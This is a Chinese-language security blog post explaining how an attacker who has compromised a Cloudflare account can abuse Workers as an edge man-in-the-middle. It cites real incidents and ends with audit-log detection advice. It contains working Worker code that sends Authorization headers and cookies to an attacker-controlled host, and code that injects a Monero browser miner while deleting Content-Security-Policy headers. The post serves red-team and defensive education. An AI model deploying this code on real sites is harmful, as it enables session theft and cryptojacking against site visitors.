边缘中间人攻击:滥用Cloudflare Workers的技术解析

本文深入探讨攻击者如何通过滥用Cloudflare Workers实现中间人攻击,包括窃取授权令牌、Cookie注入恶意JavaScript代码等具体技术手法,并分析真实案例和防御措施。

边缘中间人攻击:滥用Cloudflare Workers

Cloudflare Workers 提供了一种强大的无服务器解决方案,可在每个 HTTP 请求和响应之间运行代码。在本文中,我们将看到攻击者在入侵 Cloudflare 账户后如何滥用 Workers 来建立持久性并窃取敏感数据。

这里讨论的技术已在野外使用,但大多未被察觉。红队人员可以了解 Cloudflare Workers 的进攻性用途,蓝队人员则可以了解为什么保护 Cloudflare 账户访问如此关键。

引言

需要明确的是:这不是 Cloudflare 或 Cloudflare Workers 的漏洞。Cloudflare 没有(甚至无法)采取任何措施。本文探讨了利用 Cloudflare Workers 进行攻击的方法,这些方法是由 Workers 的设计以及更广泛的“边缘无服务器计算”模型所实现的。

本文讨论的所有代码的配套 GitHub 仓库位于 https://github.com/christophetd/abusing-cloudflare-workers

Cloudflare Workers

Cloudflare Workers 允许在 Cloudflare 的边缘服务器上透明地部署无服务器代码,位于客户端和您的最终目标(“源站”)之间。它支持多种语言,如 JavaScript / TypeScript 或 Python。

Cloudflare Workers 对于以编程方式重写请求和响应非常有价值,例如:

  • 如果您的网站不可用或正在部署中,将用户重定向到维护页面。
  • 在 HTML 响应中动态重写链接;例如,如果我将 blog.christophetd.fr 移动到 christophetd.fr/blog/ 并希望确保没有死链接。
  • 在 REST API 响应中动态添加常见的安全头。
  • 在边缘阻止使用旧 TLS 版本的请求,并显示一个网页要求用户使用更新的浏览器。

它们的使用相对简单。以下示例自动将来自 /docs/latest 的 HTTP 请求重定向到 /docs/v2.4:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
addEventListener('fetch', event => {
  event.respondWith(handleRequest(event, event.request));
});

async function handleRequest(event, originalRequest) {
  // Parse the request URL
  const requestUrl = new URL(originalRequest.url);

  if (requestUrl.pathname.startsWith("/docs/latest/")) {
    // Redirect /docs/latest/ to /api/v2.4/
    newUrl = originalRequest.url.replace("/docs/latest/", "/docs/v2.4/");
    return Response.redirect(newUrl, 301);
  }
  else {
    // Do nothing, just forward the original request
    return fetch(originalRequest)
  }
}

如您所见,Cloudflare Workers 通过设计提供了一种编程方式,可以透明地读取或重写 HTTP 请求和响应。在下一节中,我们将看到入侵 Cloudflare 账户的攻击者如何滥用它。

滥用 Cloudflare Workers

让我们站在攻击者的角度,假设他们刚刚入侵了一个 Cloudflare 账户。首先,Cloudflare 仅向其企业客户提供仪表板单点登录(SSO),因此可以合理预期,在其 15.4 万+客户(不包括免费账户)中,有数千个账户使用了共享的、长期有效的密码。此外,过去也有关于 Cloudflare 漏洞被用于窃取 API 密钥的报告(这里这里)。最后,Cloudflare API 密钥是静态的、长期有效的凭据,很容易意外泄露。

回到我们的攻击者——我们首先看到的是受害者通过 Cloudflare 代理的网站:

通常情况下,Cloudflare 被设置为将传入请求代理到某个第三方源站:

在场景设定好后,让我们深入探讨我们作为攻击者如何利用 Cloudflare Workers 来实现我们的目标!

创建恶意的 Cloudflare Worker

我们首先创建一个普通的 Worker,目前除了位于 HTTP 请求和响应之间之外,不会做任何事情。

worker.js

1
2
3
4
5
6
7
8
addEventListener('fetch', event => {
  event.respondWith(handleRequest(event, event.request));
});

async function handleRequest(event, request) {
    // Proxy the request
    return fetch(request);
}

wrangler.toml

1
2
name = "my-malicious-worker"
compatibility_date = "2022-06-24"

然后,我们使用 Cloudflare wrangler CLI 将其部署到 Cloudflare:

1
2
3
4
5
6
7
$ wrangler publish worker.js
 wrangler 2.0.15
--------------------
Total Upload: 0.51 KiB / gzip: 0.29 KiB
Uploaded my-malicious-worker (2.11 sec)
Published my-malicious-worker (1.73 sec)
  my-malicious-worker.christophetd.workers.dev

我们的 Worker 现在已经部署,但尚未代理流量。为此,我们将其与目标区域的 DNS 条目关联,或添加一个“路由”触发器。

  • 通过新的 DNS 记录触发 Cloudflare Worker
  • 通过路由模式触发 Cloudflare Worker

或者,我们可以使用 Cloudflare API:

1
2
3
4
5
curl -X POST "https://api.cloudflare.com/client/v4/zones/<zone-id>/workers/routes" \
     -H "X-Auth-Email: $CF_EMAIL" \
     -H "X-Auth-Key: $CF_API_KEY" \
     -H "Content-Type: application/json" \
     --data '{"pattern":"*somewhereinthe.cloud/*","script":"my-malicious-worker"}'

现在我们有了“中间人 Worker”,让我们看看一些对攻击者有用的用例。

窃取授权令牌

客户端发送的 Authorization HTTP 头通常包含凭据,如 OAuth 令牌、JWT 或 API 密钥。当 HTTP 请求中设置了 Authorization 头时,让我们窃取它并将其发送到远程的攻击者控制服务器。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
async function handleRequest(event, request) {
  await stealAuthorizationHeader(request);
  return fetch(request);
}

async function stealAuthorizationHeader(request) {
  const authz = request.headers.get("Authorization")
  if (authz) {
    await log(`authorization header: ${authz}`)
  }
}

async function log(data) {
  // Send arbitrary data to a remote, attacker-controlled server
  await fetch("http://46.101.191.103.nip.io/log/" + btoa(data));
}

在第一个包含 Authorization 头的 HTTP 请求上,攻击者控制的服务器将收到:

1
authorization header: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJuYW1lIjoiUmljayBBc3RsZXkiLCJnaXZlc1lvdVVwIjpmYWxzZSwibGV0c1lvdURvd24iOmZhbHNlLCJ0ZWxsc0xpZXMiOmZhbHNlfQ

窃取 Cookies

Cookies 也非常有价值,因为它们通常是会话标识符,可用于冒充任何用户的身份。它们最初由服务器设置(HTTP 响应中的 Set-Cookie 头),然后由客户端发送回来(HTTP 请求中的 Cookie 头)。让我们窃取两者:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
async function handleRequest(event, request) {
  await stealAuthorizationHeader(request);
  response = await fetch(request);
  await stealCookies(request, response);
  return response;
}

async function stealCookies(request, response) {
  cookies = response.headers.get("Set-Cookie")
  if (cookies) {
    await log(`cookies sent by server: ${cookies}`);
  }

  cookies = request.headers.get("Cookie")
  if (cookies) {
    await log(`cookies sent by client: ${cookies}`);
  }
}

攻击者输出示例:

1
2
cookies sent by server: sessionId=3f0cff1d3cc4642e15835d7304d453cc; Max-Age=2592000; Secure; Path=/; Domain=somewhereinthe.cloud
cookies sent by client: cf_use_ob=0; sessionId=3f0cff1d3cc4642e15835d7304d453cc

注入恶意 JavaScript 代码

窃取敏感数据很好,但在网站提供的每个页面中注入一个挖矿程序怎么样?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
async function injectMaliciousScript(originalResponse) {
  // Only inject our script in HTML responses
  if (!originalResponse.headers.get("Content-Type").includes("html")) {
    return originalResponse;
  }

  originalHtml = await originalResponse.text();
  // Malicious script to inject
  const script = `
    <script src="https://monerominer.rocks/miner-mmr/webmnr.min.js"></script>
    <script>
      server = "wss://f.xmrminingproxy.com:8181";
      var pool = "moneroocean.stream";
      var walletAddress = "PUT YOUR WALLET ADDRESS HERE";
      var workerId = ""
      var threads = -1;
      var password = "x";
      startMining(pool, walletAddress, workerId, threads, password);
      throttleMiner = 20;
    </script>
  `
  modifiedHtml = originalHtml.replace("</body>", script + "</body>")
  modifiedResponse = new Response(modifiedHtml, originalResponse)
  return modifiedResponse
}

如果受害网站有一个强大的内容安全策略(CSP)阻止内联或不受信任的脚本怎么办?我们是中间人,所以我们可以简单地删除 Content-Security-Policy 头!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
async function injectMaliciousScript(originalResponse) {
  // ...
  modifiedResponse = new Response(modifiedHtml, originalResponse)

  // Get rid of any annoying content security policy that would block our script
  if (modifiedResponse.headers.get("Content-Security-Policy")) {
    modifiedResponse.headers.delete("Content-Security-Policy")
  }

  return modifiedResponse
}

插图:在所有响应中透明注入的恶意 JavaScript 负载

其他滥用潜力

  • 选择性目标:根据客户端 IP 或平台表现不同。例如,如果用户代理与搜索引擎匹配,则不注入任何恶意内容。
  • 钓鱼:透明地代理请求到合法网站,动态重写响应链接并窃取凭据(包括 2FA 令牌)。
  • 重写支付信息:等待响应中看起来像 IBAN 或加密货币地址的内容,并将其替换为攻击者拥有的地址。

野外记录的使用

攻击者滥用 Cloudflare Workers 动态重写 HTTP 响应的情况在两个真实事件中有记录。

2021 年 12 月,攻击者入侵了 Badger 的 Cloudflare API 密钥。然后,引用 Badger 自己的事后分析:

在 11 月 10 日,攻击者开始使用其 API 访问权限通过 Cloudflare Workers 将恶意脚本注入到 app.badger.com 的 HTML 中。该脚本拦截 web3 交易,并提示用户允许一个外部地址批准操作其钱包中的 ERC-20 代币。

2020 年,Sucuri 报告称,韩国攻击者使用 Cloudflare Worker 在请求者是搜索引擎时动态向网页添加链接。目的是进行 SEO 垃圾邮件并提高第三方网站的声誉。

野外发现的恶意 Cloudflare Worker,由 Sucuri 发现(图片来源)

检测 Cloudflare 账户中的恶意活动

Cloudflare 提供其控制平面的审计日志,可用于识别可疑活动。它在创建新 Worker 时生成类型为 script_create 的事件。

它还在有人将 Worker 绑定到路由(route_create)或创建指向 Worker 的 DNS 记录(rec_add)时生成事件。

更一般地,Cloudflare 提供了几种事件类型,可用于检测潜在的恶意活动,总结在下表中。您还可以在配套的 GitHub 仓库中找到示例事件日志。

事件 事件代码
创建了新 Worker script_create
Worker 被绑定到路由 route_create
创建了 DNS 记录 rec_add
用户 API 令牌被创建(和查看) token_create
用户 API 令牌被轮换(和查看) token_roll
账户范围的 API 令牌被查看 API_key_view
成功认证到 Cloudflare 仪表板 login

如果您有 Cloudflare Enterprise 计划(来源),您可以使用各种集成将这些审计日志发送到您选择的 SIEM 或日志管理平台。否则,您可以从仪表板和 API 查看这些日志。

攻击者滥用 Cloudflare Workers 的其他方式

攻击者多年来还一直滥用 Cloudflare Workers 作为分层命令和控制(C2)基础设施的代理,或作为托管钓鱼页面的简单方式。

  • 恶意软件:Cloudfall、Blackwater、Astaroth
  • 攻击者组织:APT41、SparkingGoblin
  • 钓鱼:Microsoft、Yahoo、UPS、Adobe、Paypal、AT&T、…

结论

攻击者将继续利用 Cloudflare Workers 进行恶意目的,正如他们在过去几年中对钓鱼和 C2 基础设施所做的那样。他们可能会更频繁地使用 Workers 的核心功能来注入恶意 JavaScript 负载并窃取敏感数据。与此同时,蓝队有望确保其 Cloudflare 账户得到适当保护并监控可疑活动。

感谢阅读,让我们在 Twitter 上继续讨论!

Christophe

文章浏览量:21,072 +4

分类:安全, 未分类

文章导航

  • 上一篇:介绍 Stratus Red Team,一个用于云的对手模拟工具
  • 下一篇:向 Hadrien Milano 致敬

留下回复 取消回复您的电子邮件地址不会被公开。必填项已用 * 标注评论 * 姓名 * 电子邮件 * 网站 在此浏览器中保存我的姓名、电子邮件和网站,以便下次评论时使用。

Δ

主要侧边栏

切换侧边栏

建议?问题?评论?通过电子邮件或 Twitter 给我留言!

最新文章

  • AWS SSO 中的新 PKCE 认证带来希望(主要) 2024 年 11 月 29 日
  • 停止担心 ‘allowPrivilegeEscalation’ 2024 年 6 月 14 日
  • IMDSv2 强制执行:即将来到您附近的区域! 2024 年 3 月 28 日
  • 隐藏在显而易见的地方:从 PEB 中取消恶意 DLL 的链接 2023 年 4 月 21 日
  • 向 Hadrien Milano 致敬 2022 年 8 月 4 日
  • 边缘中间人攻击:滥用 Cloudflare Workers 2022 年 6 月 29 日
  • 介绍 Stratus Red Team,一个用于云的对手模拟工具 2022 年 1 月 28 日
  • 实现一个易受攻击的 AWS DevOps 环境作为 CloudGoat 场景 2022 年 1 月 11 日
  • 云安全漏洞和违规:2021 年回顾 2021 年 12 月 22 日
  • 通过 AWS SSO 设备代码认证进行 AWS 凭据钓鱼(2024 年更新) 2021 年 6 月 9 日

标签:aws, azure, bash, cloudflare, git, kubernetes, lab, linux, malware, offensive, security, sftp, windows, windows-internals, write-up

Christophe Tafani-Dereeper © 2025。保留所有权利。

主题由 Suri 提供

复制链接✓感谢分享!查找任何服务AddToAny更多…

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计